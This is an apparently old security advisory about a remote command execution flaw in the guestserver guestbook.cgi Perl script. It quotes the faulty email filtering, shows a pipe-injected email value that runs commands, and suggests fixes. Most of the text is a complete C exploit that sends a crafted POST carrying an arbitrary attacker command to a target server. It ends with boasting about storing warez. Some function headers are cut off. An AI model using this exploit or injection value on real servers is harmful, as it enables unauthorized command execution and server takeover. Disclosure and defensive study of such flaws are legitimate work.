*** Remote Command execution vulnerability in Lars Ellingsen's
*** guestserver.cgi found at http://www.guestserver.com/
*** Exploit code at bottom.
*** by: fish stiqz <[email protected]>
Overview:
>From http://www.stud.ntnu.no/~larsell/guestbook/:
> Guestserver is a guestbook system that enables you to have your
> own guestbook on your homepage, without having all the scripts
> and data located on a completely different server.
The maintainer was sent a few emails about this when I first discovered
this bug but did not respond. From the dates on the webpage, I believe
that this program has been abandoned. It would be wise for websites that
use it to just stop using it altogether.
guestbook.cgi is vulnerable to a remote command execution bug. This bug
is caused by an incomplete filter of the email variable from the http
POST. The email variable is first filtered for HTML tags then commas,
semi-colons, and colons as seen below:
line 282:
$FORM{'email'} =~ s/\<[^\>]*\>//ig;
$FORM{'email'} =~ s/\<//g;
$FORM{'email'} =~ s/\>//g;
$FORM{'email'} =~ s/\"/_/g;
if ($FORM{'email'} !~ /^[^\@]*[\@][^\@]*?\.[^\@]*$/g) {
$FORM{'email'} = undef;
}
line 360:
&mail_guest if ($mailto_guest && $mailprogram && ($FORM{'email'} !~
/[\,\:\;]/));
Also, the email must be in "normal" form as required below (and above).
line 957:
if ($FORM{'email'} =~ /.?\@.?\…*?/) {
open (MAIL, "|$mailprogram $FORM{'email'}");
Limitations:
First, the vulnerable open call is not made unless the guestserver.cgi is
configured to mail the guest when he/she posts to the guestbook.
The server must have these lines in the guestbook.config file:
<-guestbook.mailto_guest-> # Yes = 1, No = 0
1
Next, the email variable is unset if there is a colon in it, so we cannot
simply send ourselves an xterm since the display string needs to contain
a colon. (ie: "xterm -ut -display 127.0.0.1:0.0")
We must also keep the email variable in "normal" email form.
So how do we exploit this?
Exploit:
The | (pipe) character is not filtered! So we can construct an email
variable with commands delimited by |'s and the cgi will happily execute
these commands if it looks like a "normal" email address. An example
email variable that would execute "bleh" on remote server (check
error_log): "| bleh | [email protected]". This would result in the
execution of "/bin/sh -c <mail program> | bleh | [email protected]"
on the remote server. If you look in apache's error_log you will see
the following entry:
sh: bleh: command not found
sh: [email protected]: command not found
An attacker can use this to his/her advantage to possibly get a backdoor
and run it on the server, thus gaining remote access to the server running
the cgi script.
Solutions:
1) Quick and Dirty:
Disallow emailing the guest by setting the <-guestbook.mailto_guest->
directive to 0 in guestbook.config.
2) Better:
Completely filter all control characters from the email variable
before the open call.
The Code:
/*
trey, kiam, sudo, kilmor, vertigo7, quanta,
#code <-- rules (not ef/dal),
analog.org, async.org
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <time.h>
#include <ctype.h>
#define HTTP_PORT 80
extern int errno;
/*
/*
Error cheq'n wrapper for malloc.
*/
void *Malloc(size_t n)
{
void *tmp;
if((tmp = malloc(n)) == NULL)
{
fprintf(stderr, "malloc(%u) failed! exiting…\n", n);
exit(EXIT_FAILURE);
}
return tmp;
}
/*
Error cheq'n realloc.
*/
void *Realloc(void *ptr, size_t n)
{
void *tmp;
if((tmp = realloc(ptr, n)) == NULL)
{
fprintf(stderr, "realloc(%u) failed! exiting…\n", n);
exit(EXIT_FAILURE);
}
return tmp;
}
/*
Error cheq'n strdup.
*/
char *Strdup(char *str)
{
char *s;
if((s = strdup(str)) == NULL)
{
fprintf(stderr, "strdup failed! exiting…\n");
exit(EXIT_FAILURE);
}
return s;
}
/*
#ifdef DEBUG
printf("entered get_ip with %s\n", host);
#endif
/* first check to see if its in num-dot format */
if(inet_aton(host, iaddr) != 0)
return 0;
#ifdef DEBUG
printf("inet_aton failed\n");
printf("trying gethostbyname…\n");
#endif
/* next, do a gethostbyname */
if((hp = gethostbyname(host)) != NULL)
{
if(hp->h_addr_list != NULL)
{
memcpy(&iaddr->s_addr, *hp->h_addr_list, sizeof(iaddr->s_addr));
return 0;
}
return -1;
}
return -1;
}
/*
initiates a tcp connection to the specified host (either in
ip format (xxx.xxx.xxx.xxx) or as a hostname (microsoft.com)
to the host's tcp port.
return values: != -1 on success, -1 on failure.
*/
int tcp_connect(char *host, unsigned int port)
{
int sock;
struct sockaddr_in saddress;
struct in_addr *iaddr;
iaddr = Malloc(sizeof(struct in_addr));
/* write the hostname information into the in_addr structure */
if(get_ip(iaddr, host) != 0)
return -1;
#ifdef DEBUG
printf("attempting connect to %s\n", inet_ntoa(*iaddr));
#endif
saddress.sin_addr.s_addr = iaddr->s_addr;
saddress.sin_family = AF_INET;
saddress.sin_port = htons(port);
/* create the socket */
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
return -1;
/* make the connection */
if(connect(sock, (struct sockaddr *) &saddress, sizeof(saddress)) != 0)
{
close(sock);
return -1;
}
/* everything succeeded, return the connected socket */
return sock;
}
/*
generates a string of 6 random characters.
so we need to randomize it a bit.
*/
char *random_string(void)
{
int i;
char *s = Malloc(7);
srand(time(NULL));
for(i = 0; i < 6; i++)
s[i] = (rand() % (122 - 97)) + 97;
s[i] = 0x0;
return s;
}
/*
send the request to the server.
the remote_command needs to be coverted before sent here.
semi-colon's are filtered out and will not work!
*/
void send_packet(int sock, char *conv_remote_command, char *target)
{
char *packet_buf;
char *payload_buf;
char *r_string;
char header_fmt[] =
"POST /cgi-bin/guestbook.cgi HTTP/1.0\n"
"Connection: close\n"
"User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\n"
"Host: %s\n"
"Content-type: application/x-www-form-urlencoded\n"
"Content-length: %d\n\n%s";
char payload_fmt[] =
"name=%s&SIGN=Sign+it%%21&email=%%7C%s%%7Cbleh%%40bleh.com"
"&location=Germany&message=telconinjas+suck";
r_string = random_string();
/* create space for the payload and commands */
payload_buf = Malloc((sizeof(payload_fmt) + 1 +
strlen(conv_remote_command)) *
sizeof(char));
sprintf(payload_buf, payload_fmt, r_string, conv_remote_command);
free(r_string);
/* create space for the headers, payload, and commands */
packet_buf = Malloc((sizeof(header_fmt) + 1 + strlen(payload_buf) +
strlen(conv_remote_command)) * sizeof(char));
sprintf(packet_buf, header_fmt,
target, strlen(payload_buf), payload_buf);
#ifdef DEBUG
printf("\nSending data:\n%s\n", packet_buf);
#endif
if(write(sock, packet_buf, strlen(packet_buf)) == -1)
{
perror("write");
exit(EXIT_FAILURE);
}
close(sock);
return;
}
/*
converts a command from "command1 arg1 arg2 | command2 arg1 arg2"
to "command1+arg1+arg2+%7C+command2+arg1+arg2"
*/
char *convert_command(char *input)
{
int i;
char *postfix;
char *command = Strdup(input);
char meta;
for(i = 0; command[i] != 0x0; i++)
{
if(!isalnum(command[i]) && command[i] != '.' && command[i] != '-')
{
if(command[i] == ' ')
command[i] = '+';
else
{
meta = command[i];
postfix = Strdup(&(command[i]) + 1);
command = Realloc(command, (strlen(command) + 3) *
sizeof(char));
command[i] = 0x0;
sprintf(&command[i], "%%%.2X", meta);
strcat(command, postfix);
free(postfix);
}
}
}
return command;
}
/*
/*
int main(int argc, char **argv)
{
char *target;
char *commands;
char *conv_commands;
int sock;
if(argc != 3)
usage(argv[0]);
target = Strdup(argv[1]);
commands = Strdup(argv[2]);
conv_commands = convert_command(commands);
free(commands);
#ifdef DEBUG
printf("\nconv_commands:\n%s\n", conv_commands);
#endif
printf("Connecting to %s...\n", target);
if((sock = tcp_connect(target, HTTP_PORT)) == -1)
{
perror("tcp_connect");
return EXIT_FAILURE;
}
printf("Connected, sending payload...\n");
send_packet(sock, conv_commands, target);
printf("Payload sent. Go store lots of warez!#*!%%@!#\n"
"#TelcoNinjas == #smurfkiddies\n");
free(conv_commands);
free(target);
return EXIT_SUCCESS;
}
–
±--------------------------------------------------------------------------+
| fish stiqz <[email protected]> <*)))-< yum, yum, delicious |
±--------------------------------------------------------------------------+